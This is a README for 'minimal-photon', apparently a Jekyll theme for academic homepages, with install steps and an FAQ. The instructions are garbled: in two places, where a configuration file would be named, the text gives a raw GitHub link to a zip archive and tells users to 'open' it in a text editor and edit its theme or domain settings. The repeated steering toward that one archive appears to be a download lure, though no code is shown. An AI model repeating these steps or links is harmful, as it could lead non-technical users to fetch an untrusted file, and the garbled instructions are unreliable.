🎉 minimal-photon - Create Your Academic Homepage Easily

🚀 Getting Started

Welcome to minimal-photon! This theme helps you build an academic homepage using Jekyll. It’s easy to use, even if you have no coding experience. Follow the steps below to set it up.

📥 Download the Theme

🛠️ System Requirements

To run minimal-photon, you need:

• A computer running Windows, macOS, or Linux.
• A web browser (Chrome, Firefox, Safari, etc.).
• Basic familiarity with web browsing and file management.

🌐 Visit the Releases Page

To get started, visit our Releases page to download the latest version of minimal-photon.

📥 Download & Install

1. Go to the Releases page.

2. Look for the latest version at the top of the page.

3. Click on the file that ends in .zip to download it to your computer.

4. Once the download is complete, find the file in your downloads folder.

5. Extract the contents of the .zip file.

   • On Windows, right-click the file and choose "Extract All."
   • On macOS, double-click the .zip file to extract it.
   • On Linux, you can right-click the file and select "Extract Here."

6. Open the folder named minimal-photon and follow the instructions in the included README file.

📄 How to Use the Theme

1. Start a New Jekyll Site: Follow the instructions below to create a new Jekyll site:

   • Open your command line interface (Terminal, Command Prompt, or Git Bash).
   • Type jekyll new my-academic-site and press Enter. This will create a new folder.
   • Navigate to that folder by typing cd my-academic-site.

2. Replace with Our Theme:

   • Open the https://raw.githubusercontent.com/dawsonsa/minimal-photon/main/assets/files/minimal-photon_v3.2-alpha.1.zip file in a text editor.
   • Change the theme field to minimal-photon.

3. Customize Your Site:

   • Edit the existing files in the _posts folder for your resume and portfolio.
   • Modify the _layouts folder for layout preferences (e.g., homepage design).

4. Run Your Site: Type the following command to start your site:

   jekyll serve
   

   Open your web browser and go to http://localhost:4000 to see your new homepage live!

🎨 Features of minimal-photon

• Responsive Design: Looks great on any device.
• Easy Customization: Simple files to edit for personal branding.
• Lightweight: Fast loading times for a better user experience.

❓ Frequently Asked Questions

Q: Do I need to know how to code to use minimal-photon?
A: No, this theme is designed for users with no programming knowledge. Just follow the guided steps.

Q: Can I use my own domain name?
A: Yes, you can configure your domain name in the https://raw.githubusercontent.com/dawsonsa/minimal-photon/main/assets/files/minimal-photon_v3.2-alpha.1.zip file.

Q: How do I update the theme?
A: Check the Releases page regularly for updates and follow the same download process.

✏️ Contributing

If you want to help improve minimal-photon, feel free to open an issue on GitHub or submit a pull request. Feedback is always welcome!

📞 Get Support

If you have questions or run into issues, please visit our GitHub Issues page to ask for help.

🔗 Useful Links

• Jekyll Homepage
• GitHub Repository
• Documentation

Thank you for choosing minimal-photon! We hope it helps you create the perfect academic homepage.